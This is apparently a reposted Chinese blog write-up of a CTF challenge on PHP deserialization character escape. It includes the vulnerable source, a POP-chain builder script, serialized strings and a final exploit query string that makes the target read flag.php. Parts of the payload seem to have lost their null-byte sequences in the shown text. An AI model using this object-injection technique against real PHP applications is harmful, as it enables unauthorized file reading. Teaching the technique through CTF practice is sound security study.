• [安恒月赛]反序列化字符逃逸


    Ezunserialize

    这道题目又让我加深了对反序列化字符逃逸的理解

    源码如下:

     <?php
    show_source("index.php");
    function write($data) {
        return str_replace(chr(0) . '*' . chr(0), '', $data);
    }
    
    function read($data) {
        return str_replace('', chr(0) . '*' . chr(0), $data);
    }
    
    class A{
        public $username;
        public $password;
        function __construct($a, $b){
            $this->username = $a;
            $this->password = $b;
        }
    }
    
    class B{
        public $b = 'gqy';
        function __destruct(){
            $c = 'a'.$this->b;
            echo $c;
        }
    }
    
    class C{
        public $c;
        function __toString(){
            //flag.php
            echo file_get_contents($this->c);
            return 'nice';
        }
    }
    
    $a = new A($_GET['a'],$_GET['b']);
    //省略了存储序列化数据的过程,下面是取出来并反序列化的操作
    $b = unserialize(read(write(serialize($a)))); 

    这里反序列化中有两个操作,read和write,一个是将替换伟<0x00>*<0x00>,一个是反过来。

    这里我们需要逆着read和write两个函数的顺序想。

    如果只经过read的话,字符中带就会被替换为<0x00>*<0x00>,长度从6变为3,这样反序列化时就会显示长度过长,会吃掉后面的字符,长度的变化就会产生一个字符的逃逸。

    这道题基本和安洵杯的思路是一样的。我们本地搭环境测试

    payload:

    http://127.0.0.1/test.php?a=&b=123

    未经read函数

    O:1:"A":2:{s:8:"username";s:6:"";s:8:"password";s:3:"123";}

    经过read函数

    O:1:"A":2:{s:8:"username";s:6:"*";s:8:"password";s:3:"123";}

    这时反序列化会报错,当多变少的时候,我们可以选择吃掉中间,然后在后面延长。这里我们需要吃掉username键值的第二"到password键值的第一个"

    每一组替换后都可以吃掉后面三个字符,通过计算需要吃掉的字符,然后构造对象。

    这里先写个pop链然后序列化获得

    <?php
    class A{
        public $username;
        public $password;
        function __construct($a, $b){
            $this->username = $a;
            $this->password = $b;
        }
    }
    
    class B{
        public $b = 'gqy';
        function __destruct(){
            $c = 'a'.$this->b;
            echo $c;
        }
    }
    
    class C{
        public $c;
        function __toString(){
            //flag.php
            echo file_get_contents($this->c);
            return 'nice';
        }
    }
    $b=new B();
    $b->b=new C();
    $b->b->c='flag.php';
    $a=new A('a',$b);
    echo serialize($a);

    获得

    O:1:"A":2:{s:8:"username";s:1:"a";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}}

    a参数是我们需要用多变少后,吃掉中间的,然后再b参数上构造

    s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}}

    上面用简单测试,发现需要吃掉的有

    ";s:8:"password";s:3:"

    一共22个字符,但是再后面构造时候,b实际要闭合";并且赋值s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}},所以是十位数不是个位数字。

    我们这里一共需要吃掉23个字符,后面可以自己补1一个字符。

    每一组可以吃掉3个字符,倍数关系,最接近的就是24,需要8组

    exp如下:

    ?a=&b=1";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}}

    这里通过8组,吃掉24个字符,吃掉的字符为

    ";s:8:"password";s:74:"1

    然后通过";闭合掉前面的password键值对,构造pop链条需要的password键值对。

    从安洵杯,0CTF,安恒月赛这道题都可以看到,当少变多的时候,往往在后面跟着闭合并且将后面的键值对挤出去。当多变少的时候,往往是两个参数,通过前面的参数吃掉中间的部分,后面的部分就可以随意构造了。

  • 相关阅读:
    Java大坑之Integer对象比较相等
    Spark操作算子本质-RDD的容错
    Spark集群搭建(local、standalone、yarn)
    Spark持久化策略
    SparkRDD内核
    Spark初识
    Hadoop集群初始化启动
    centos6.5安装MySQL5.7
    学习笔记-Kuaihu(仿知乎日报)
    Eclipse开发Android程序如何在手机上运行
  • 原文地址:https://www.cnblogs.com/BOHB-yunying/p/12774297.html
Copyright © 2020-2023  润新知